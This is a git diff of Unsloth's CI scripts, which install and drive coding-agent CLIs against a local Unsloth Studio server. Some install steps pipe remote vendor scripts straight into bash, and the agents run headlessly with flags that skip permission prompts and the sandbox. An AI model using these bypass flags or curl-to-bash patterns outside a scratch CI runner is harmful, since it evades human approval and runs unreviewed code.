diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
deleted file mode 100644
index 17d96cd0f5..0000000000
--- a/.git-blame-ignore-revs
+++ /dev/null
@@ -1,8 +0,0 @@
-# Commits listed here are skipped by `git blame` so that bulk, whitespace-only
-# changes don't obscure the real authorship of a line.
-#
-# GitHub honors this file automatically. To use it locally, run once:
-#   git config blame.ignoreRevsFile .git-blame-ignore-revs
-
-# chore(studio/frontend): normalize line endings to LF
-c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a
diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 3c7cea919c..d430d2c172 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -6,12 +6,12 @@
 # Local Agent Guides CI. All failures from here are failure class (c)
 # "guide drift": the server preflight already passed and the agent CLI
 # already installed, so a failure here means the documented recipe in
-# unsloth_cli/commands/connect.py no longer produces a working flow.
+# unsloth_cli/commands/start.py no longer produces a working flow.
 #
-# Self-updating: for the 5 agents with a connect.py recipe we obtain the
-# exact env + command from `unsloth connect <agent> --no-launch` and run
-# THAT, so a recipe change is exercised automatically. Pi (no connect.py
-# command at HEAD) is driven by a hand-written recipe.
+# Self-updating: for all six agents (claude, codex, hermes, openclaw,
+# opencode, pi) we obtain the exact env + command from
+# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
+# exercised automatically.
 #
 # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
 # can never hang the runner -- a timeout is reported as guide drift with a
@@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
 WORKDIR_BASE="$REPO_ROOT/agent-workdir"
 CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
 mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
-CONNECT_REF="unsloth_cli/commands/connect.py"
+CONNECT_REF="unsloth_cli/commands/start.py"
 
 # Prefill-shrinking flags for Claude Code. The heavyweight agents send
 # multi-thousand-token system prompts + full tool schemas, which on a CPU-only
 # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
 # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
 # and restricting tools cuts the prefill to a few hundred tokens so it completes
-# quickly on CPU. These only shape the request size; the connect.py recipe
+# quickly on CPU. These only shape the request size; the start.py recipe
 # (endpoint, auth, model) is still exercised end to end.
 #
 # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@@ -105,6 +105,13 @@ redact() {
   done
 }
 
+# Print a file to the log with the key scrubbed, without mutating it (the raw file is
+# still needed to parse the real env). Use this instead of `cat` for any transcript that
+# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
+cat_redacted() {
+  sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
+}
+
 # A reply must be non-empty and free of connection/auth errors.
 assert_reply() {
   local out="$1"
@@ -131,45 +138,34 @@ run_timed() {  # $1=outfile, rest=command
   return "$rc"
 }
 
-# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
-write_pi_config() {
-  if unsloth connect pi --help >/dev/null 2>&1; then
-    # Tripwire: once a real recipe exists, the hand-written config would mask any
-    # drift in it, defeating the point of this CI. Fail hard so the cell is
-    # migrated to the self-updating `unsloth connect pi --no-launch` path.
-    guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
-  fi
-  mkdir -p "$HOME/.pi/agent"
-  python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
-import json, os, sys
-base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
-cfg = {"providers": {"unsloth": {
-    "api": "openai-completions",
-    "baseUrl": f"{base}/v1",
-    "apiKey": key,
-    "models": [{"id": model}],
-}}}
-path = os.path.expanduser("~/.pi/agent/models.json")
-with open(path, "w") as fh:
-    json.dump(cfg, fh, indent=2)
-PY
-  cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
-  redact "$REDACTED_DIR/pi-models.json"
+# Read a value from an `export VAR=...` line in the connect --no-launch output.
+# `unsloth start` writes each agent's session config off the user's ~ and points
+# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
+# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
+raw_env() {  # $1 = var name -> value (one shlex-quote layer stripped)
+  local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
+  v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
 }
 
-# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
+# ── 5-agent start.py path: parse env + command from --no-launch ─────────
 # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
-# launch command on the last printed line), and runs connect.py's config
-# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
+# launch command on the last printed line), and runs start.py's config
+# writers as a side effect (it writes each agent's relocated session config).
 parse_connect() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
-  if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
-    cat "$raw"
-    guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
+  # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
+  # config (which now prompts by default), so the file-edit test opts into auto-approval
+  # here, the same intent as claude/codex's per-call bypass flags.
+  local yolo=()
+  [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
+  if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+    cat_redacted "$raw"
+    guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
   fi
-  echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
+  echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
   CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
-  # The launch command is the last non-export, non-status line. connect.py
+  # The launch command is the last non-export, non-status line. start.py
   # prints "Studio <url> · model <id>" and "Updated ..." status lines first.
   CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
     | grep -E '[^[:space:]]' | tail -1)"
@@ -177,45 +173,63 @@ parse_connect() {
   redact "$raw"
 }
 
-# Cross-check the documented contract knobs so silent connect.py changes
+# Cross-check the documented contract knobs so silent start.py changes
 # (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
 crosscheck_contract() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local cfg home
   case "$AGENT" in
     codex)
       grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
-        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
-      if [ -f "$HOME/.codex/config.toml" ]; then
-        grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
-          || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
-        cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
+        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
+      home="$(raw_env CODEX_HOME)"
+      # An empty relocation var would make cfg "/config.toml" and silently
+      # skip the [ -f ] contract check below; fail loudly instead.
+      [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
+      cfg="$home/config.toml"
+      if [ -f "$cfg" ]; then
+        grep -q 'wire_api = "responses"' "$cfg" \
+          || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
+        cp "$cfg" "$REDACTED_DIR/codex-config.toml"
       fi
       grep -q 'codex --oss --profile unsloth_api' "$raw" \
         || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
       ;;
     claude)
       grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
-        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
-      if [ -f "$HOME/.claude/settings.json" ]; then
-        grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
-          || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
-        cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
-      fi
+        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
+      grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
+        || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
       ;;
     hermes)
       grep -q 'UNSLOTH_API_KEY' "$raw" \
-        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
-      [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
+        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
+      home="$(raw_env HERMES_HOME)"
+      [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
+      cfg="$home/config.yaml"
+      [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
       ;;
     openclaw)
-      if [ -f "$HOME/.openclaw/openclaw.json" ]; then
-        grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
+      cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+      if [ -n "$cfg" ] && [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
           || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
-        cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
+        cp "$cfg" "$REDACTED_DIR/openclaw.json"
       fi
       ;;
     opencode)
-      [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
+      cfg="$(raw_env OPENCODE_CONFIG)"
+      [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
+      ;;
+    pi)
+      # Pi has no config-dir env var; the session is HOME-relocated, and the
+      # provider config lives at $HOME/.pi/agent/models.json.
+      cfg="$(raw_env HOME)/.pi/agent/models.json"
+      if [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
+          || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
+        cp "$cfg" "$REDACTED_DIR/pi-models.json"
+      fi
       ;;
   esac
   redact "$REDACTED_DIR"/* 2>/dev/null || true
@@ -229,16 +243,23 @@ crosscheck_contract() {
 
 # Hermes: an explicit empty cli toolset disables all tools (and drops the
 # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
-# hermes ships a DEFAULT config.yaml that already has a populated
-# platform_toolsets, and `unsloth connect` merges into it, so we must override
-# cli (not just append). That needs a YAML parser, and the runner's bare
-# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
-# imports yaml), so run the patch with that interpreter.
+# Hermes enables its default cli toolset when the session config does not pin one,
+# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
+# zero tools. That needs a YAML parser, and the runner's bare python3 has no
+# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
+# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
+# that `unsloth start` printed, not the user's ~/.hermes.
 # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
 patch_hermes_tools() {  # $1 = none|default
+  # Check the raw var BEFORE appending /config.yaml: the joined path is never
+  # empty, so the old guard could not fire and the patcher would die on
+  # "/config.yaml" with a bare traceback instead of this clear failure.
+  local home; home="$(raw_env HERMES_HOME)"
+  [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
+  local cfg; cfg="$home/config.yaml"
   # Find a python that can import yaml. The runner's bare python3 cannot, but the
   # interpreter in the `unsloth` console-script shebang provably can (it runs
-  # connect.py's write_hermes_config, which imports yaml). Try that first, then
+  # start.py's write_hermes_config, which imports yaml). Try that first, then
   # any python on PATH, then the venv sibling, picking the first with PyYAML.
   local cand py="" shebang
   shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@@ -247,13 +268,13 @@ patch_hermes_tools() {  # $1 = none|default
     { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
     if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
   done
-  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
-  echo "[hermes] patching config with $py"
-  "$py" - "$1" <<'PY'
+  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
+  echo "[hermes] patching $cfg with $py"
+  "$py" - "$1" "$cfg" <<'PY'
 import os, sys
 import yaml
 mode = sys.argv[1]
-p = os.path.expanduser("~/.hermes/config.yaml")
+p = sys.argv[2]
 cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
 ts = cfg.get("platform_toolsets")
 if not isinstance(ts, dict):
@@ -274,10 +295,14 @@ PY
 # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
 # both modes. --agent must reference a defined agent, so write it before invoking.
 patch_openclaw_agent() {  # $1 = notools|tools
-  python3 - "$1" <<'PY'
+  # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
+  # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
+  local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+  [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
+  python3 - "$1" "$cfg" <<'PY'
 import os, sys, json
 mode = sys.argv[1]
-p = os.path.expanduser("~/.openclaw/openclaw.json")
+p = sys.argv[2]
 cfg = json.load(open(p)) if os.path.exists(p) else {}
 agents = cfg.setdefault("agents", {})
 agents.setdefault("defaults", {})["skipBootstrap"] = True
@@ -293,20 +318,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
 PY
 }
 
-# Build an invoke script that applies connect.py's env then runs the launch
+# Build an invoke script that applies start.py's env then runs the launch
 # command (with extra args appended) under bash. We do NOT eval connect's env
 # into this shell; we write it into a one-shot script so the export/unset
-# semantics are exactly what connect.py printed. The script path is absolute
+# semantics are exactly what start.py printed. The script path is absolute
 # so it is valid even when the caller has cd'd into a scratch work dir.
 invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   local out="$1"; shift
   local script="$LOGS_DIR/invoke-${AGENT}.sh"
   local real; real="$(mktemp)"
+  # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
+  # session knob without editing the user's config; empty -> use what start.py emitted.
+  local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
   {
     echo "set -uo pipefail"
     echo "$CONNECT_ENV"
+    [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
     # Append extra args (the prompt / flags) to the launch command verbatim.
-    printf '%s' "$CONNECT_CMD"
+    printf '%s' "$cmd"
     local a
     for a in "$@"; do printf ' %q' "$a"; done
     printf '\n'
@@ -318,7 +347,9 @@ invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   # Writing the redacted copy up front keeps the key out of the artifact even if
   # the run times out (run_timed exits before returning here).
   cp "$real" "$script"; redact "$script"
-  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
+  # The connect one-liner now carries the key as an inline env assignment; scrub it on
+  # the way to the log (the executed $real keeps the live value).
+  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
   run_timed "$out" bash "$real"
   local rc=$?
   rm -f "$real"
@@ -332,27 +363,23 @@ case "$MODE" in
   connection)
     PROMPT='Reply with exactly the single word: pong'
     OUT="$LOGS_DIR/${AGENT}-connection.txt"
-    if [ "$AGENT" = "pi" ]; then
-      write_pi_config
-      run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
-    else
-      parse_connect
-      crosscheck_contract
-      # claude/codex run in print mode via the flags connect.py emits
-      # (claude -p / codex exec). For agents whose default subcommand prints
-      # to stdout we pass the prompt through ctx.args.
-      case "$AGENT" in
-        claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
-        codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
-        opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
-        hermes)   patch_hermes_tools none
-                  invoke_via_connect "$OUT" -z "$PROMPT" ;;
-        openclaw) patch_openclaw_agent notools
-                  invoke_via_connect "$OUT" agent --local --agent ci \
-                    --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
-        *)        invoke_via_connect "$OUT" "$PROMPT" ;;
-      esac
-    fi
+    parse_connect
+    crosscheck_contract
+    # claude/codex run in print mode via the flags start.py emits
+    # (claude -p / codex exec). For agents whose default subcommand prints
+    # to stdout we pass the prompt through ctx.args.
+    case "$AGENT" in
+      claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
+      codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
+      opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
+      pi)       invoke_via_connect "$OUT" -p "$PROMPT" ;;
+      hermes)   patch_hermes_tools none
+                invoke_via_connect "$OUT" -z "$PROMPT" ;;
+      openclaw) patch_openclaw_agent notools
+                invoke_via_connect "$OUT" agent --local --agent ci \
+                  --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
+      *)        invoke_via_connect "$OUT" "$PROMPT" ;;
+    esac
     # A non-zero exit from the documented launch command is drift even if it
     # printed something: a benign-looking "command not found" / usage dump would
     # otherwise slip past assert_reply (which only flags empty/error-keyword text).
@@ -371,22 +398,21 @@ case "$MODE" in
     T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
     T2='Run hello.py with python and show me the exact output.'
 
-    # The connect.py recipe writers + crosscheck must see the repo; run them
-    # from the repo root BEFORE cd-ing into the scratch work dir.
-    if [ "$AGENT" != "pi" ]; then
-      parse_connect
-      crosscheck_contract
-      # File-edit needs real tools, so we cannot zero them as in connection.
-      # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
-      # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
-      # dir is empty, so no project context files are auto-loaded either.
-      case "$AGENT" in
-        hermes)   patch_hermes_tools default ;;
-        openclaw) patch_openclaw_agent tools ;;
-      esac
-    else
-      write_pi_config
-    fi
+    # The start.py recipe writers + crosscheck must see the repo; run them
+    # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
+    # gate tool approval through their config (prompting by default), so file-edit
+    # opts them into auto-approval to run edits/commands headlessly.
+    case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
+    parse_connect
+    crosscheck_contract
+    # File-edit needs real tools, so we cannot zero them as in connection.
+    # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
+    # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
+    # dir is empty, so no project context files are auto-loaded either.
+    case "$AGENT" in
+      hermes)   patch_hermes_tools default ;;
+      openclaw) patch_openclaw_agent tools ;;
+    esac
 
     # Drive from inside the work dir so the agent edits files there. All log
     # writes use absolute $LOGS_DIR, so cwd does not matter for them.
@@ -395,7 +421,14 @@ case "$MODE" in
     invoke_turn() {  # $1=outfile $2=continue? $3=prompt
       local out="$1" cont="$2" prompt="$3"
       case "$AGENT" in
-        pi)       run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
+        pi)
+          # Pi continues the previous session with -c; provider/model come from
+          # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
+          if [ "$cont" = "continue" ]; then
+            invoke_via_connect "$out" -p --continue "$prompt"
+          else
+            invoke_via_connect "$out" -p "$prompt"
+          fi ;;
         claude)
           # --dangerously-skip-permissions lets headless claude actually use the
           # Write/Bash tools (otherwise it blocks on an approval prompt and emits
@@ -466,33 +499,32 @@ case "$MODE" in
     # right before the measured turn, so an earlier turn's reuse can't leak in.
     LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
     export LLAMA_LOG_DIR
-    parse_connect          # writes ~/.claude/settings.json (header=0) + env
+    parse_connect          # prints session env + suppression flags (no ~/.claude write)
     crosscheck_contract
     PROMPT='Reply with exactly the single word: pong'
 
-    # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
-    # the continued turn. connect.py's ensure_claude_attribution_header() set 0.
+    # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
+    # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
+    # HIT on the continued turn, since the system-prompt prefix is stable.
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT"        # turn 1 primes
     FROM_HIT="$(bash "$CACHE_HELPER" mark)"                                # offset before turn 2
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
 
-    # Phase B: header ENABLED -> expect a MISS. The header prepends a
-    # per-request-changing attribution line to the system prompt, so the shared
-    # prefix changes every turn and the KV cache is invalidated (~90% slower);
-    # this is exactly what the guide flag prevents.
-    python3 - <<'PY'
-import json, os
-p = os.path.expanduser("~/.claude/settings.json")
-s = json.load(open(p)) if os.path.exists(p) else {}
-s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
-json.dump(s, open(p, "w"), indent=2)
-PY
+    # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
+    # the env var to 1 and strip the suppression flags from the launch command
+    # (without them the dynamic attribution line is included and changes every
+    # turn, so the shared prefix moves and the KV cache is invalidated, ~90%
+    # slower). This is session-only: nothing is written to ~/.claude.
+    CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
+    CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
+      | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
     FROM_MISS="$(bash "$CACHE_HELPER" mark)"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
-    echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
+    unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
+    echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
     ;;
 
   *)
diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh
index dfab8aec80..daf4bacd3e 100755
--- a/.github/scripts/agent-guides-install.sh
+++ b/.github/scripts/agent-guides-install.sh
@@ -7,7 +7,7 @@
 # is the single biggest source of false reds, so installs retry with
 # backoff and the only ::error:: this script can emit is class (b). The
 # install recipes mirror the install_hint strings in
-# unsloth_cli/commands/connect.py at HEAD.
+# unsloth_cli/commands/start.py at HEAD.
 #
 # Usage: agent-guides-install.sh <agent>
 #   agent in: claude codex hermes openclaw opencode pi
@@ -25,13 +25,14 @@ install_fail() {
 }
 
 # npm registry flakiness is common in CI; retry 3x with linear backoff.
+# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
 npm_retry() {
-  local pkg="$1" i
+  local i
   for i in 1 2 3; do
-    if npm install -g "$pkg" >> "$LOG" 2>&1; then
+    if npm install -g "$@" >> "$LOG" 2>&1; then
       return 0
     fi
-    echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
+    echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
     sleep "$((i * 10))"
   done
   return 1
@@ -60,30 +61,30 @@ curl_bash() {
 echo "[install] agent=$AGENT (log=$LOG)"
 case "$AGENT" in
   claude)
-    # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
     curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
     # The installer drops the binary under ~/.local/bin.
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   codex)
-    # connect.py install_hint: npm install -g @openai/codex
+    # start.py install_hint: npm install -g @openai/codex
     npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
     ;;
   opencode)
-    # connect.py install_hint: npm install -g opencode-ai
+    # start.py install_hint: npm install -g opencode-ai
     npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
     ;;
   openclaw)
-    # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
     # npm is the more deterministic path in CI and matches the agent's docs;
-    # fall back to the connect.py curl installer if the npm tag is missing.
+    # fall back to the start.py curl installer if the npm tag is missing.
     if ! npm_retry "openclaw@latest"; then
       curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
       echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     fi
     ;;
   hermes)
-    # connect.py install_hint:
+    # start.py install_hint:
     #   curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
     curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
       --non-interactive --skip-setup --skip-browser --no-skills \
@@ -91,11 +92,13 @@ case "$AGENT" in
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   pi)
-    # No connect.py recipe; the agent's documented package name. The CLI moved
-    # from the now-deprecated @mariozechner scope to @earendil-works (the old
-    # scope is frozen, so installing it would test a stale Pi against the API).
-    npm_retry "@earendil-works/pi-coding-agent" \
-      || install_fail "npm install -g @earendil-works/pi-coding-agent failed"
+    # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
+    # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
+    # catches guide drift). The CLI moved from the now-deprecated @mariozechner
+    # scope to @earendil-works (the old scope is frozen, so installing it would
+    # test a stale Pi against the API).
+    npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
+      || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
     ;;
   *)
     install_fail "unknown agent '$AGENT'"
diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh
index 34b8b962c6..6ac98ded7c 100755
--- a/.github/scripts/serve-unsloth-run.sh
+++ b/.github/scripts/serve-unsloth-run.sh
@@ -27,7 +27,7 @@
 #
 # Outputs written to $GITHUB_ENV (and echoed):
 #   UNSLOTH_API_KEY        the sk-unsloth-* key minted on the banner
-#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth connect`
+#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth start`
 #                          finds THIS server, not the hardcoded :8888)
 #   UNSLOTH_BASE_URL       same as UNSLOTH_STUDIO_URL (alias for clarity)
 #   UNSLOTH_MODEL_ID       the canonical id reported by /v1/models
diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index f7c338d76b..ae4b386589 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -209,7 +209,7 @@ jobs:
             'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
             ipython
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           # transformers + trl from the matrix combo.
           pip install "$RESOLVED_TRANSFORMERS_SPEC"
@@ -268,6 +268,10 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_compressed_export_schemes.py \
+            tests/saving/test_export_api_surface.py \
+            tests/saving/test_export_dispatch.py \
+            tests/saving/test_imatrix_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py
@@ -353,9 +357,14 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_compressed_export_schemes.py \
+            tests/saving/test_export_api_surface.py \
+            tests/saving/test_export_dispatch.py \
+            tests/saving/test_imatrix_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
+            tests/test_prefetch_snapshot_scope.py \
